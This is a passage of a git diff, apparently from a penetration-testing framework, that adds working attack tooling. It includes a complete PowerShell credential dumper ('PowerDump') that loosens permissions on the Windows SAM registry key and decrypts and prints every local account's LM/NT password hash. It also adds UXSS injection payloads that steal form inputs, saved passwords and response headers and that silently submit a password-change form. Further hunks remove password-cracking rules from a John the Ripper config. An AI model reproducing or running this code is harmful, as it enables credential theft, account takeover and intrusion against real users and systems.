$antpassword; } return ,($lmhash,$nthash) } function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) { $deskeys = sid_to_key $rid; $md5 = [Security.Cryptography.MD5]::Create(); $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); $rc4 = NewRC4 $rc4_key; $obfkey = $rc4.encrypt($enc_hash); $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); return ,$hash; } function Get-UserKeys { ls HKLM:\SAM\SAM\Domains\Account\Users | where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | Add-Member AliasProperty KeyName PSChildName -PassThru | Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru } function DumpHashes { LoadApi $bootkey = Get-BootKey; $hbootKey = Get-HBootKey $bootkey; Get-UserKeys | %{ $hashes = Get-UserHashes $_ $hBootKey; "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); } } DumpHashes \ No newline at end of file +# PowerDump by David Kennedy Copyright 2014 The Social-Engineer Toolkit +# https://github.com/trustedsec/social-engineer-toolkit +# User Token Code by Nikhil Mitt ttps://github.com/samratashok/nishang +function LoadApi +{ + $oldErrorAction = $global:ErrorActionPreference; + $global:ErrorActionPreference = "SilentlyContinue"; + $test = [PowerDump.Native]; + $global:ErrorActionPreference = $oldErrorAction; + if ($test) + { + # already loaded + return; + } + +$code = @' +using System; +using System.Security.Cryptography; +using System.Runtime.InteropServices; +using System.Text; + +namespace PowerDump +{ + public class Native + { + [DllImport("advapi32.dll", CharSet = CharSet.Auto)] + public static extern int RegOpenKeyEx( + int hKey, + string subKey, + int ulOptions, + int samDesired, + out int hkResult); + + [DllImport("advapi32.dll", EntryPoint = "RegEnumKeyEx")] + extern public static int RegEnumKeyEx( + int hkey, + int index, + StringBuilder lpName, + ref int lpcbName, + int reserved, + StringBuilder lpClass, + ref int lpcbClass, + out long lpftLastWriteTime); + + [DllImport("advapi32.dll", EntryPoint="RegQueryInfoKey", CallingConvention=CallingConvention.Winapi, SetLastError=true)] + extern public static int RegQueryInfoKey( + int hkey, + StringBuilder lpClass, + ref int lpcbClass, + int lpReserved, + out int lpcSubKeys, + out int lpcbMaxSubKeyLen, + out int lpcbMaxClassLen, + out int lpcValues, + out int lpcbMaxValueNameLen, + out int lpcbMaxValueLen, + out int lpcbSecurityDescriptor, + IntPtr lpftLastWriteTime); + + [DllImport("advapi32.dll", SetLastError=true)] + public static extern int RegCloseKey( + int hKey); + + } + } // end namespace PowerDump + + public class Shift { + public static int Right(int x, int count) { return x >> count; } + public static uint Right(uint x, int count) { return x >> count; } + public static long Right(long x, int count) { return x >> count; } + public static ulong Right(ulong x, int count) { return x >> count; } + public static int Left(int x, int count) { return x << count; } + public static uint Left(uint x, int count) { return x << count; } + public static long Left(long x, int count) { return x << count; } + public static ulong Left(ulong x, int count) { return x << count; } + } +'@ + + $provider = New-Object Microsoft.CSharp.CSharpCodeProvider + $dllName = [PsObject].Assembly.Location + $compilerParameters = New-Object System.CodeDom.Compiler.CompilerParameters + $assemblies = @("System.dll", $dllName) + $compilerParameters.ReferencedAssemblies.AddRange($assemblies) + $compilerParameters.GenerateInMemory = $true + $compilerResults = $provider.CompileAssemblyFromSource($compilerParameters, $code) + if($compilerResults.Errors.Count -gt 0) { + $compilerResults.Errors | % { Write-Error ("{0}:`t{1}" -f $_.Line,$_.ErrorText) } + } + +} + +$antpassword = [Text.Encoding]::ASCII.GetBytes("NTPASSWORD`0"); +$almpassword = [Text.Encoding]::ASCII.GetBytes("LMPASSWORD`0"); +$empty_lm = [byte[]]@(0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee,0xaa,0xd3,0xb4,0x35,0xb5,0x14,0x04,0xee); +$empty_nt = [byte[]]@(0x31,0xd6,0xcf,0xe0,0xd1,0x6a,0xe9,0x31,0xb7,0x3c,0x59,0xd7,0xe0,0xc0,0x89,0xc0); +$odd_parity = @( + 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, + 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, + 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, + 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, + 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, + 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, + 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, + 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, + 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, + 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, + 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, + 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, + 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, + 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, + 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, + 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 +); + +function sid_to_key($sid) +{ + $s1 = @(); + $s1 += [char]($sid -band 0xFF); + $s1 += [char]([Shift]::Right($sid,8) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,16) -band 0xFF); + $s1 += [char]([Shift]::Right($sid,24) -band 0xFF); + $s1 += $s1[0]; + $s1 += $s1[1]; + $s1 += $s1[2]; + $s2 = @(); + $s2 += $s1[3]; $s2 += $s1[0]; $s2 += $s1[1]; $s2 += $s1[2]; + $s2 += $s2[0]; $s2 += $s2[1]; $s2 += $s2[2]; + return ,((str_to_key $s1),(str_to_key $s2)); +} + +function str_to_key($s) +{ + $key = @(); + $key += [Shift]::Right([int]($s[0]), 1 ); + $key += [Shift]::Left( $([int]($s[0]) -band 0x01), 6) -bor [Shift]::Right([int]($s[1]),2); + $key += [Shift]::Left( $([int]($s[1]) -band 0x03), 5) -bor [Shift]::Right([int]($s[2]),3); + $key += [Shift]::Left( $([int]($s[2]) -band 0x07), 4) -bor [Shift]::Right([int]($s[3]),4); + $key += [Shift]::Left( $([int]($s[3]) -band 0x0F), 3) -bor [Shift]::Right([int]($s[4]),5); + $key += [Shift]::Left( $([int]($s[4]) -band 0x1F), 2) -bor [Shift]::Right([int]($s[5]),6); + $key += [Shift]::Left( $([int]($s[5]) -band 0x3F), 1) -bor [Shift]::Right([int]($s[6]),7); + $key += $([int]($s[6]) -band 0x7F); + 0..7 | %{ + $key[$_] = [Shift]::Left($key[$_], 1); + $key[$_] = $odd_parity[$key[$_]]; + } + return ,$key; +} + +function NewRC4([byte[]]$key) +{ + return new-object Object | + Add-Member NoteProperty key $key -PassThru | + Add-Member NoteProperty S $null -PassThru | + Add-Member ScriptMethod init { + if (-not $this.S) + { + [byte[]]$this.S = 0..255; + 0..255 | % -begin{[long]$j=0;}{ + $j = ($j + $this.key[$($_ % $this.key.Length)] + $this.S[$_]) % $this.S.Length; + $temp = $this.S[$_]; $this.S[$_] = $this.S[$j]; $this.S[$j] = $temp; + } + } + } -PassThru | + Add-Member ScriptMethod "encrypt" { + $data = $args[0]; + $this.init(); + $outbuf = new-object byte[] $($data.Length); + $S2 = $this.S[0..$this.S.Length]; + 0..$($data.Length-1) | % -begin{$i=0;$j=0;} { + $i = ($i+1) % $S2.Length; + $j = ($j + $S2[$i]) % $S2.Length; + $temp = $S2[$i];$S2[$i] = $S2[$j];$S2[$j] = $temp; + $a = $data[$_]; + $b = $S2[ $($S2[$i]+$S2[$j]) % $S2.Length ]; + $outbuf[$_] = ($a -bxor $b); + } + return ,$outbuf; + } -PassThru +} + +function des_encrypt([byte[]]$data, [byte[]]$key) +{ + return ,(des_transform $data $key $true) +} + +function des_decrypt([byte[]]$data, [byte[]]$key) +{ + return ,(des_transform $data $key $false) +} + +function des_transform([byte[]]$data, [byte[]]$key, $doEncrypt) +{ + $des = new-object Security.Cryptography.DESCryptoServiceProvider; + $des.Mode = [Security.Cryptography.CipherMode]::ECB; + $des.Padding = [Security.Cryptography.PaddingMode]::None; + $des.Key = $key; + $des.IV = $key; + $transform = $null; + if ($doEncrypt) {$transform = $des.CreateEncryptor();} + else{$transform = $des.CreateDecryptor();} + $result = $transform.TransformFinalBlock($data, 0, $data.Length); + return ,$result; +} + +function Get-RegKeyClass([string]$key, [string]$subkey) +{ + switch ($Key) { + "HKCR" { $nKey = 0x80000000} #HK Classes Root + "HKCU" { $nKey = 0x80000001} #HK Current User + "HKLM" { $nKey = 0x80000002} #HK Local Machine + "HKU" { $nKey = 0x80000003} #HK Users + "HKCC" { $nKey = 0x80000005} #HK Current Config + default { + throw "Invalid Key. Use one of the following options HKCR, HKCU, HKLM, HKU, HKCC" + } + } + $KEYQUERYVALUE = 0x1; + $KEYREAD = 0x19; + $KEYALLACCESS = 0x3F; + $result = ""; + [int]$hkey=0 + if (-not [PowerDump.Native]::RegOpenKeyEx($nkey,$subkey,0,$KEYREAD,[ref]$hkey)) + { + $classVal = New-Object Text.Stringbuilder 1024 + [int]$len = 1024 + if (-not [PowerDump.Native]::RegQueryInfoKey($hkey,$classVal,[ref]$len,0,[ref]$null,[ref]$null, + [ref]$null,[ref]$null,[ref]$null,[ref]$null,[ref]$null,0)) + { + $result = $classVal.ToString() + } + else + { + Write-Error "RegQueryInfoKey failed"; + } + [PowerDump.Native]::RegCloseKey($hkey) | Out-Null + } + else + { + Write-Error "Cannot open key"; + } + return $result; +} + +function Get-BootKey +{ + $s = [string]::Join("",$("JD","Skew1","GBG","Data" | %{Get-RegKeyClass "HKLM" "SYSTEM\CurrentControlSet\Control\Lsa\$_"})); + $b = new-object byte[] $($s.Length/2); + 0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)} + $b2 = new-object byte[] 16; + 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 | % -begin{$i=0;}{$b2[$i]=$b[$_];$i++} + return ,$b2; +} + +function Get-HBootKey +{ + param([byte[]]$bootkey); + $aqwerty = [Text.Encoding]::ASCII.GetBytes("!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%`0"); + $anum = [Text.Encoding]::ASCII.GetBytes("0123456789012345678901234567890123456789`0"); + $k = Get-Item HKLM:\SAM\SAM\Domains\Account; + if (-not $k) {return $null} + [byte[]]$F = $k.GetValue("F"); + if (-not $F) {return $null} + $rc4key = [Security.Cryptography.MD5]::Create().ComputeHash($F[0x70..0x7F] + $aqwerty + $bootkey + $anum); + $rc4 = NewRC4 $rc4key; + return ,($rc4.encrypt($F[0x80..0x9F])); +} + +function Get-UserName([byte[]]$V) +{ + if (-not $V) {return $null}; + $offset = [BitConverter]::ToInt32($V[0x0c..0x0f],0) + 0xCC; + $len = [BitConverter]::ToInt32($V[0x10..0x13],0); + return [Text.Encoding]::Unicode.GetString($V, $offset, $len); +} + +function Get-UserHashes($u, [byte[]]$hbootkey) +{ + [byte[]]$enc_lm_hash = $null; [byte[]]$enc_nt_hash = $null; + # check if hashes exist (if byte memory equals to 20, then we've got a hash) + $LM_exists = $false; + $NT_exists = $false; + # LM header check + if ($u.V[0xa0..0xa3] -eq 20) + { + $LM_exists = $true; + } + # NT header check + elseif ($u.V[0xac..0xaf] -eq 20) + { + $NT_exists = $true; + } + if ($LM_exists -eq $true) + { + $lm_hash_offset = $u.HashOffset + 4; + $nt_hash_offset = $u.HashOffset + 8 + 0x10; + $enc_lm_hash = $u.V[$($lm_hash_offset)..$($lm_hash_offset+0x0f)]; + $enc_nt_hash = $u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + elseif ($NT_exists -eq $true) + { + $nt_hash_offset = $u.HashOffset + 8; + $enc_nt_hash = [byte[]]$u.V[$($nt_hash_offset)..$($nt_hash_offset+0x0f)]; + } + return ,(DecryptHashes $u.Rid $enc_lm_hash $enc_nt_hash $hbootkey); +} + +function DecryptHashes($rid, [byte[]]$enc_lm_hash, [byte[]]$enc_nt_hash, [byte[]]$hbootkey) +{ + [byte[]]$lmhash = $empty_lm; [byte[]]$nthash=$empty_nt; + # LM Hash + if ($enc_lm_hash) + { + $lmhash = DecryptSingleHash $rid $hbootkey $enc_lm_hash $almpassword; + } + + # NT Hash + if ($enc_nt_hash) + { + $nthash = DecryptSingleHash $rid $hbootkey $enc_nt_hash $antpassword; + } + + return ,($lmhash,$nthash) +} + +function DecryptSingleHash($rid,[byte[]]$hbootkey,[byte[]]$enc_hash,[byte[]]$lmntstr) +{ + $deskeys = sid_to_key $rid; + $md5 = [Security.Cryptography.MD5]::Create(); + $rc4_key = $md5.ComputeHash($hbootkey[0..0x0f] + [BitConverter]::GetBytes($rid) + $lmntstr); + $rc4 = NewRC4 $rc4_key; + $obfkey = $rc4.encrypt($enc_hash); + $hash = (des_decrypt $obfkey[0..7] $deskeys[0]) + + (des_decrypt $obfkey[8..$($obfkey.Length - 1)] $deskeys[1]); + return ,$hash; +} + +function Get-UserKeys +{ + ls HKLM:\SAM\SAM\Domains\Account\Users | + where {$_.PSChildName -match "^[0-9A-Fa-f]{8}$"} | + Add-Member AliasProperty KeyName PSChildName -PassThru | + Add-Member ScriptProperty Rid {[Convert]::ToInt32($this.PSChildName, 16)} -PassThru | + Add-Member ScriptProperty V {[byte[]]($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty UserName {Get-UserName($this.GetValue("V"))} -PassThru | + Add-Member ScriptProperty HashOffset {[BitConverter]::ToUInt32($this.GetValue("V")[0x9c..0x9f],0) + 0xCC} -PassThru +} + +function DumpHashes +{ + LoadApi + $bootkey = Get-BootKey; + $hbootKey = Get-HBootKey $bootkey; + Get-UserKeys | %{ + $hashes = Get-UserHashes $_ $hBootKey; + "{0}:{1}:{2}:{3}:::" -f ($_.UserName,$_.Rid, + [BitConverter]::ToString($hashes[0]).Replace("-","").ToLower(), + [BitConverter]::ToString($hashes[1]).Replace("-","").ToLower()); + } +} + +#Set permissions for the current user. +$rule = New-Object System.Security.AccessControl.RegistryAccessRule ( +[System.Security.Principal.WindowsIdentity]::GetCurrent().Name, +"FullControl", +[System.Security.AccessControl.InheritanceFlags]"ObjectInherit,ContainerInherit", +[System.Security.AccessControl.PropagationFlags]"None", +[System.Security.AccessControl.AccessControlType]"Allow") +$key = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey( +"SAM\SAM\Domains", +[Microsoft.Win32.RegistryKeyPermissionCheck]::ReadWriteSubTree, +[System.Security.AccessControl.RegistryRights]::ChangePermissions) +$acl = $key.GetAccessControl() +$acl.SetAccessRule($rule) +$key.SetAccessControl($acl) + +DumpHashes + +#Remove the permissions added above. +$user = [System.Security.Principal.WindowsIdentity]::GetCurrent().Name +$acl.Access | where {$_.IdentityReference.Value -eq $user} | %{$acl.RemoveAccessRule($_)} | Out-Null +Set-Acl HKLM:\SAM\SAM\Domains $acl + diff --git a/data/exploits/uxss/steal_form.js b/data/exploits/uxss/steal_form.js new file mode 100644 index 0000000000..44f766ac4a --- /dev/null +++ b/data/exploits/uxss/steal_form.js @@ -0,0 +1,33 @@ +/* steal_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal any autofilled inputs, saved passwords, or any */ +/* data entered into a form. */ + +/* keep track of what input fields we have discovered */ +var found = {}; +setInterval(function(){ + /* poll the DOM to check for any new input fields */ + var inputs = document.querySelectorAll('input,textarea,select'); + Array.prototype.forEach.call(inputs, function(input) { + var val = input.value||''; + var name = input.getAttribute('name')||''; + var t = input.getAttribute('type')||''; + if (input.tagName == 'SELECT') { + try { val = input.querySelector('option:checked').value } + catch (e) {} + } + if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return; + + /* check if this is a valid input/value pair */ + try { + if (val.length && name.length) { + if (found[name] != val) { + + /* new input/value discovered, remember it and send it up */ + found[name] = val; + var result = { name: name, value: val, url: window.location.href, send: true }; + (opener||top).postMessage(JSON.stringify(result), '*'); + } + } + } catch (e) {} + }); +}, 200); diff --git a/data/exploits/uxss/steal_headers.js b/data/exploits/uxss/steal_headers.js new file mode 100644 index 0000000000..a975e2e58b --- /dev/null +++ b/data/exploits/uxss/steal_headers.js @@ -0,0 +1,17 @@ +/* steal_headers.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal the response headers of the loaded URL. */ + +/* send an XHR request to our current page */ +var x = new XMLHttpRequest; +x.open('GET', window.location.href, true); +x.onreadystatechange = function() { + /* when the XHR request is complete, grab the headers and send them back */ + if (x.readyState == 2) { + (opener||top).postMessage(JSON.stringify({ + headers: x.getAllResponseHeaders(), + url: window.location.href, + send: true + }), '*'); + } +}; +x.send(); diff --git a/data/exploits/uxss/submit_form.js b/data/exploits/uxss/submit_form.js new file mode 100644 index 0000000000..6ffcc8409b --- /dev/null +++ b/data/exploits/uxss/submit_form.js @@ -0,0 +1,36 @@ +/* submit_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to modify and submit a form in the target page. */ + +/* modify this hash to your liking */ +var formInfo = { + + /* CSS selector for the form you want to submit */ + selector: 'form[action="/update_password"]', + + /* inject values into some input fields */ + inputs: { + 'user[new_password]': 'pass1234', + 'user[new_password_confirm]': 'pass1234' + } +} + +var c = setInterval(function(){ + /* find the form... */ + var form = document.querySelector(formInfo.selector); + if (!form) return; + + /* loop over every input field, set the value as specified. */ + Array.prototype.forEach.call(form.elements, function(input) { + var inject = formInfo.inputs[input.name]; + if (inject) input.setAttribute('value', inject); + }); + + /* submit the form and clean up */ + form.submit(); + clearInterval(c); + + /* report back */ + var message = "Form submitted to "+form.getAttribute('action'); + var url = window.location.href; + (opener||top).postMessage(JSON.stringify({message: message, url: url}), '*'); +}, 100); diff --git a/data/java/javaCompile/CompileSourceInMemory.class b/data/java/javaCompile/CompileSourceInMemory.class deleted file mode 100755 index 31dbb0a8f2..0000000000 Binary files a/data/java/javaCompile/CompileSourceInMemory.class and /dev/null differ diff --git a/data/java/javaCompile/CreateJarFile.class b/data/java/javaCompile/CreateJarFile.class deleted file mode 100755 index 3a295c4e84..0000000000 Binary files a/data/java/javaCompile/CreateJarFile.class and /dev/null differ diff --git a/data/java/javaCompile/JavaSourceFromString.class b/data/java/javaCompile/JavaSourceFromString.class deleted file mode 100755 index 1b451a4f56..0000000000 Binary files a/data/java/javaCompile/JavaSourceFromString.class and /dev/null differ diff --git a/data/java/javaCompile/SignJar$FilteredStream.class b/data/java/javaCompile/SignJar$FilteredStream.class deleted file mode 100755 index 71f7a5400c..0000000000 Binary files a/data/java/javaCompile/SignJar$FilteredStream.class and /dev/null differ diff --git a/data/java/javaCompile/SignJar.class b/data/java/javaCompile/SignJar.class deleted file mode 100755 index ad0b3be88d..0000000000 Binary files a/data/java/javaCompile/SignJar.class and /dev/null differ diff --git a/data/john/confs/john.conf b/data/john/confs/john.conf index c6f6979fcf..32964b1622 100755 --- a/data/john/confs/john.conf +++ b/data/john/confs/john.conf @@ -292,2327 +292,6 @@ l Az"19[6-0][9-0]" <+ # Prepend "pass" A0"[pP][aA][sS][sS]" -# [List.Rules:KoreLogicRulesPrependYears] -A0"20[0-1][0-9]" -A0"19[3-9][0-9]" - -# Notice: Your wordlist should likely be all lowercase - or you are wasting work -# [List.Rules:KoreLogicRulesAppendYears] -cAz"19[0-9][0-9]" -Az"19[0-9][0-9]" -cAz"20[01][0-9]" -Az"20[01][0-9]" - - -# [List.Rules:KoreLogicRulesPrependAndAppendSpecial] -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" - - -# [List.Rules:KoreLogicRulesAdd1234_Everywhere] -Az"1234" ->0A[0]"1234" ->1A[1]"1234" ->2A[2]"1234" ->3A[3]"1234" ->4A[4]"1234" ->5A[5]"1234" ->6A[6]"1234" ->7A[7]"1234" ->8A[8]"1234" ->9A[9]"1234" - -# [List.Rules:KoreLogicRulesAdd123_Everywhere] -Az"123" ->0A[0]"123" ->1A[1]"123" ->2A[2]"123" ->3A[3]"123" ->4A[4]"123" ->5A[5]"123" ->6A[6]"123" ->7A[7]"123" ->8A[8]"123" ->9A[9]"123" - -Az".com" -cAz".com" -Az".net" -cAz".net" -Az".org" -cAz".org" - -# [List.Rules:KoreLogicRulesReplaceNumbers2Special] -/1s1! -/2s2@ -/3s3# -/4s4$ -/5s5% -/6s6^ -/7s7& -/8s8* -/9s9( -/0s0) -/1s1!%12s2@ -/1s1!%13s3# -/1s1!%14s4$ -/1s1!%15s5% -/1s1!%16s6^ -/1s1!%17s7& -/1s1!%18s8* -/1s1!%19s9( -/1s1!%10s0) -/2s2@%13s3# -/2s2@%14s4$ -/2s2@%15s5% -/2s2@%16s6^ -/2s2@%17s7& -/2s2@%18s8* -/2s2@%19s9( -/2s2@%10s0) -/3s3#%14s4$ -/3s3#%15s5% -/3s3#%16s6^ -/3s3#%17s7& -/3s3#%18s8* -/3s3#%19s9( -/3s3#%10s0) -/4s4$%15s5% -/4s4$%16s6^ -/4s4$%17s7& -/4s4$%18s8* -/4s4$%19s9( -/4s4$%10s0) -/5s5%%16s6^ -/5s5%%17s7& -/5s5%%18s8* -/5s5%%19s9( -/5s5%%10s0) -/6s6^%17s7& -/6s6^%18s8* -/6s6^%19s9( -/6s6^%10s0) -/7s7&%18s8* -/7s7&%19s9( -/7s7&%10s0) -/8s8*%19s9( -/8s8*%10s0) -/9s9(%10s0) - - -# [List.Rules:KoreLogicRulesReplaceNumbers] -/0s01 -/0s02 -/0s03 -/0s04 -/0s05 -/0s06 -/0s07 -/0s08 -/0s09 -/1s10 -/1s12 -/1s13 -/1s14 -/1s15 -/1s16 -/1s17 -/1s18 -/1s19 -/2s20 -/2s21 -/2s23 -/2s24 -/2s25 -/2s26 -/2s27 -/2s28 -/2s29 -/3s30 -/3s31 -/3s32 -/3s34 -/3s35 -/3s36 -/3s37 -/3s38 -/3s39 -/4s40 -/4s41 -/4s42 -/4s43 -/4s45 -/4s46 -/4s47 -/4s48 -/4s49 -/5s50 -/5s51 -/5s52 -/5s53 -/5s54 -/5s56 -/5s57 -/5s58 -/5s59 -/6s60 -/6s61 -/6s62 -/6s63 -/6s64 -/6s65 -/6s67 -/6s68 -/6s69 -/7s70 -/7s71 -/7s72 -/7s73 -/7s74 -/7s75 -/7s76 -/7s78 -/7s79 -/8s80 -/8s81 -/8s82 -/8s83 -/8s84 -/8s85 -/8s86 -/8s87 -/8s89 -/9s90 -/9s91 -/9s92 -/9s93 -/9s94 -/9s95 -/9s96 -/9s97 -/9s98 - -# [List.Rules:KoreLogicRulesPrependJustSpecials] -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -cA0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" -A0"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*][!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]" - -# [List.Rules:KoreLogicRulesAppend1_AddSpecialEverywhere] ->4cA[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->5cA[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->6cA[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->7cA[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->8cA[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->4A[0-5]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->5A[6]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->6A[7]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->7A[8]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" ->8A[9]"[!$@#%.^&()_+\-={}|\[\]\\;':,/\<\>?`~*]"Az"1" - - -A0"[dD]ev" -Az"[dD]ev" -A0"[uU]at" -Az"[uU]at" -A0"[pP]rod" -Az"[pP]rod" -A0"[tT]est" -Az"[tT]est" - - - -/asa@[:c] -/asa4[:c] -/AsA4[:c] -/AsA@[:c] -/bsb8[:c] -/BsB8[:c] -/ese3[:c] -/EsE3[:c] -/isi1[:c] -/isi![:c] -/isi|[:c] -/IsI1[:c] -/IsI![:c] -/IsI|[:c] -/lsl1[:c] -/lsl7[:c] -/lsl|[:c] -/lsl![:c] -/Lsl1[:c] -/Lsl7[:c] -/Lsl|[:c] -/Lsl![:c] -/oso0[:c] -/OsO0[:c] -/sss$[:c] -/sss5[:c] -/SsS$[:c] -/SsS5[:c] -/tst+[:c] -/TsT+[:c] -/1s1![:c] -/1s1i[:c] -/1s1I[:c] -/1s1|[:c] -/0s0o[:c] -/0s0O[:c] -/3s3e[:c] -/3s3E[:c] -/4s4a[:c] -/4s4A[:c] -/5s5s[:c] -/5s5S[:c] -/7s7l[:c] -/7s7L[:c] -/8s8b[:c] -/8s8B[:c] -/asa@/bsb8[:c] -/asa@/BsB8[:c] -/asa@/ese3[:c] -/asa@/EsE3[:c] -/asa@/isi1[:c] -/asa@/isi![:c] -/asa@/isi|[:c] -/asa@/IsI1[:c] -/asa@/IsI![:c] -/asa@/IsI|[:c] -/asa@/lsl1[:c] -/asa@/lsl7[:c] -/asa@/lsl|[:c] -/asa@/lsl![:c] -/asa@/Lsl1[:c] -/asa@/Lsl7[:c] -/asa@/Lsl|[:c] -/asa@/Lsl![:c] -/asa@/oso0[:c] -/asa@/OsO0[:c] -/asa@/sss$[:c] -/asa@/sss5[:c] -/asa@/SsS$[:c] -/asa@/SsS5[:c] -/asa@/tst+[:c] -/asa@/TsT+[:c] -/asa@/1s1![:c] -/asa@/1s1i[:c] -/asa@/1s1I[:c] -/asa@/1s1|[:c] -/asa@/0s0o[:c] -/asa@/0s0O[:c] -/asa@/3s3e[:c] -/asa@/3s3E[:c] -/asa@/4s4a[:c] -/asa@/4s4A[:c] -/asa@/5s5s[:c] -/asa@/5s5S[:c] -/asa@/7s7l[:c] -/asa@/7s7L[:c] -/asa@/8s8b[:c] -/asa@/8s8B[:c] -/asa4/AsA4[:c] -/asa4/AsA@[:c] -/asa4/bsb8[:c] -/asa4/BsB8[:c] -/asa4/ese3[:c] -/asa4/EsE3[:c] -/asa4/isi1[:c] -/asa4/isi![:c] -/asa4/isi|[:c] -/asa4/IsI1[:c] -/asa4/IsI![:c] -/asa4/IsI|[:c] -/asa4/lsl1[:c] -/asa4/lsl7[:c] -/asa4/lsl|[:c] -/asa4/lsl![:c] -/asa4/Lsl1[:c] -/asa4/Lsl7[:c] -/asa4/Lsl|[:c] -/asa4/Lsl![:c] -/asa4/oso0[:c] -/asa4/OsO0[:c] -/asa4/sss$[:c] -/asa4/sss5[:c] -/asa4/SsS$[:c] -/asa4/SsS5[:c] -/asa4/tst+[:c] -/asa4/TsT+[:c] -/asa4/1s1![:c] -/asa4/1s1i[:c] -/asa4/1s1I[:c] -/asa4/1s1|[:c] -/asa4/0s0o[:c] -/asa4/0s0O[:c] -/asa4/3s3e[:c] -/asa4/3s3E[:c] -/asa4/4s4a[:c] -/asa4/4s4A[:c] -/asa4/5s5s[:c] -/asa4/5s5S[:c] -/asa4/7s7l[:c] -/asa4/7s7L[:c] -/asa4/8s8b[:c] -/asa4/8s8B[:c] -/AsA4/asa@[:c] -/AsA4/asa4[:c] -/AsA4/BsB8[:c] -/AsA4/ese3[:c] -/AsA4/EsE3[:c] -/AsA4/isi1[:c] -/AsA4/isi![:c] -/AsA4/isi|[:c] -/AsA4/IsI1[:c] -/AsA4/IsI![:c] -/AsA4/IsI|[:c] -/AsA4/lsl1[:c] -/AsA4/lsl7[:c] -/AsA4/lsl|[:c] -/AsA4/lsl![:c] -/AsA4/Lsl1[:c] -/AsA4/Lsl7[:c] -/AsA4/Lsl|[:c] -/AsA4/Lsl![:c] -/AsA4/oso0[:c] -/AsA4/OsO0[:c] -/AsA4/sss$[:c] -/AsA4/sss5[:c] -/AsA4/SsS$[:c] -/AsA4/SsS5[:c] -/AsA4/tst+[:c] -/AsA4/TsT+[:c] -/AsA4/1s1![:c] -/AsA4/1s1i[:c] -/AsA4/1s1I[:c] -/AsA4/1s1|[:c] -/AsA4/0s0o[:c] -/AsA4/0s0O[:c] -/AsA4/3s3e[:c] -/AsA4/3s3E[:c] -/AsA4/4s4a[:c] -/AsA4/4s4A[:c] -/AsA4/5s5s[:c] -/AsA4/5s5S[:c] -/AsA4/7s7l[:c] -/AsA4/7s7L[:c] -/AsA4/8s8b[:c] 